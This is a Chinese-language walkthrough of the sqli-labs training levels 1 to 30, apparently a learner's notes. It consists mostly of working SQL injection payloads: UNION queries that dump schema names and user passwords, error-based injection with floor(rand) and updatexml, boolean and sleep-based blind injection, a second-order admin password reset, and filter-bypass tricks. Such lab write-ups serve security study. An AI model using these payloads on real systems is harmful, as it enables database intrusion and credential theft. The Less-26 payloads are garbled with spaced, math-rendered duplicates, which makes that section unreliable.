写在前面:
1.information_schema:为自带数据库
table_schema:数据库名
table _name:数据表名
column_name:字段名
2.闭合方式:单引号——' --+
双引号——" --+
单引号和括号——') --+
双引号和括号——")——--+
3.注意!输入法英文英文英文!
空格小心遗漏!
闭合符号小心遗漏!
**Less-1**
——>1: 我们首先判断闭合方式,输入/?id=1 页面正常;然后输入/?id=1’ --+判断为单引号闭合。
——>2.:接着我们用order by 查询字段数 ,如果我们输入的字段数多于数据库的字段数,数据库会返回错误的信息,以此类推,直至猜测到正确的字段数。(本关有三个字段)
——>3.:然后我们用union进行联合查询 ,语句为:/?id=0’ union select 1,2,3–+ ,需要注意的是,我们要输入一个不存在的ID,使得前面的语句错误为空,然后显示后面的语句信息。接着查询本地数据库,语句为:/?id=0’ union select 1,(select database()),3–+ 。查询所有数据库:/?id=0’ union select 1,(select group_concat(schema_name) from information_schema.schemata),3–+ 。查询数据表:/?id=0’ union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’),3–+ 。
查询字段名:/?id=0’ union select 1,(select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=‘security’),3–+。
查询数据表中的数据:/?id=0’ union select 1,(select group_concat(username) from security.users),(select group_concat(password) from security.users)–+
Less-2
数字型注入,无需闭合。
Less-3
单引号和括号闭合
Less-4
双引号和括号闭合
Less-5
这一关我们采用报错注入的方式,经判断本关为单引号闭合
然后我们来查询所有的数据库名,语句为/?id=1’ and (select 1 from (select count(*),concat((select group_concat(schema_name) from information_schema.schemata),floor(rand(0)2))x from information_schema.tables group by x)a)–+
然后我们就可以在子句中用联合查询啦
Less-6
双引号闭合,报错注入
Less-7
本关跳过
Less-8
——>1:本关我们采用布尔盲注,它的原理是根据页面返回的是true还是false来判断比较的字母是否正确。在函数后输入>‘a’,判断页面是否有变化,若页面无变化则会真,若页面为空,则为假,以此判断首字母,通过更改字符的位置,判断其他字母。
——>2.:然后我们来判断本地数据库的首字母情况,语句为?id=1’ and mid(database(),1,1)>‘a’–+,经判断首字母为s。
Less-9
本关采用时间延迟盲注
所用语句为/?id=1’ and if(ascii(substr(database(),1,1))>‘98’),sleep(5),1)–+,若为真,则延迟5s出现网页结果,以此类推,直至判断出库名。
Less-10
双引号闭合
Less-11
本关为post传递,我们先输入密码和账号,admin’ 123 会发现本关为单引号闭合;接着输入账号与密码admin’# 123 发现有两个显示位面,然后进行联合注入。数据库名:Username:0admin’ union select 1,database()# Password:随便输入。
查询数据表:Username:0admin’ union select (select group_concat(table_name) from information_schema.tables where table_schema=‘security’),2#
查询字段:Username:0admin’ union select 1,(select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=‘security’)#
查询数据:Username:0admin’ union select (select group_concat(username) from security.users),(select group_concat(password) from security.users)#
Less-12
")闭合
Less-13
盲注
数据库:0admin’) union select count(),concat(’~’,(select database() ), ‘~’ ,floor(rand(0) 2 ) ) as a from information_schema.tables group by a#
数据表:0admin’) union select count(), concat(’~’,(select concat(table_name) from information_schema.tables where table_schema=database() limit 1,1),’~’,floor(rand(0)2)) as a from information_schema.tables group by a#
列名:0admin’) union select count(),concat(’~’,(select column_name from information_schema.columns where table_name=‘users’ limit 1,1),’~’,floor(rand()2)) as a from information_schema.tables group by a#
用户名:0admin’) union select count(),concat(’~’,(select concat_ws(’[’,password,username) from users limit 1,1),’~’,floor(rand()*2)) as a from information_schema.tables group by a#
Less-14
双引号闭合,与上一关相比,只需把’)改为"就可
Less-15
单引号闭合
Less-16
双引号括号闭合
Less-17
本关跳过(I cannot do 抓包)
Less-18
本关跳过
Less-19
本关跳过
Less-20
本关跳过
Less-21
本关跳过
Less-22
本关跳过
Less-23
在本关中-,#,空格都被过滤掉了,无法注释,(本关为单引号闭合),
直接用闭合语句过滤吧,然后注入,
查询本地数据库:/?id=0’ union select 1,(select database()),3’
Less-24
这一关界面和前面不太一样,没有植物大战僵尸的既视感了
创号-----admin ‘#,然后登陆并修改密码,而我们修改的就是admin的密码
Less-25
在这一关中我们的or 和and 被过滤掉了,所以我们采用绕过注入的方法,至于如何绕过,我们可以变换大小写,用特殊符号代替等(百度一下,你就知道)。然后就是?id=0’ union select 1,2,3–+,会发现有两个显示位面。查询所有数据库/?id=0’ union select 1,(select group_concat(schema_name) from infoorrmation_schema.schemata),database()–+,接着联合注入。
Less-26
这一关,唉,注释,空格,or ,and 都阵亡了,唉,
没绕过去。。。。。。。。。。报错注入,,,,,,
——>数据库查询
?id=0’||updatexml(1,concat(’ ′ , ( d a t a b a s e ( ) ) ) , 0 ) ∣ ∣ ′ 1 ′ = ′ 1 — — > 数 据 表 ? i d = 0 ′ ∣ ∣ u p d a t e x m l ( 1 , c o n c a t ( ′ ',(database())),0)||'1'='1 ——>数据表 ?id=0'||updatexml(1,concat(' ′,(database())),0)∣∣′1′=′1——>数据表?id=0′∣∣updatexml(1,concat(′’,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=‘security’))),0)||‘1’=‘1
——>字段名
?id=0’||updatexml(1,concat(’ ′ , ( s e l e c t ( g r o u p c o n c a t ( c o l u m n n a m e ) ) f r o m ( i n f o o r r m a t i o n s c h e m a . c o l u m n s ) w h e r e ( t a b l e s c h e m a = ′ s e c u r i t y ′ ) — — > 数 据 / ? i d = 0 ′ ∣ ∣ u p d a t e x m l ( 1 , c o n c a t ( ′ ',(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='security')%26%26(table_name='users'))),0)||'1'='1 ——>数据 /?id=0'||updatexml(1,concat(' ′,(select(groupconcat(columnname))from(infoorrmationschema.columns)where(tableschema=′security′)——>数据/?id=0′∣∣updatexml(1,concat(′’,(select(concat(’ ′ , i d , ′ ',id,' ′,id,′’,username,’$’,passwoorrd))from(users)where(username)=‘admin’)),0)||‘1’='1
Less-27
这一关阵亡的选手有:注释,空格,union select
空格用%0a代替
数据库查询:?id=0’UnioN%0aSeLeCT%0a1,2,3||‘1
Less-28
单引号闭合
查询本地数据库:/?id=0’)%0Aunion%0aUnIon%0a%0aseLECtselect%0a1,(select%0adatabase()),3||('1
Less-29
同Less-1
Less-30
双引号闭合
收工!!!!!!!!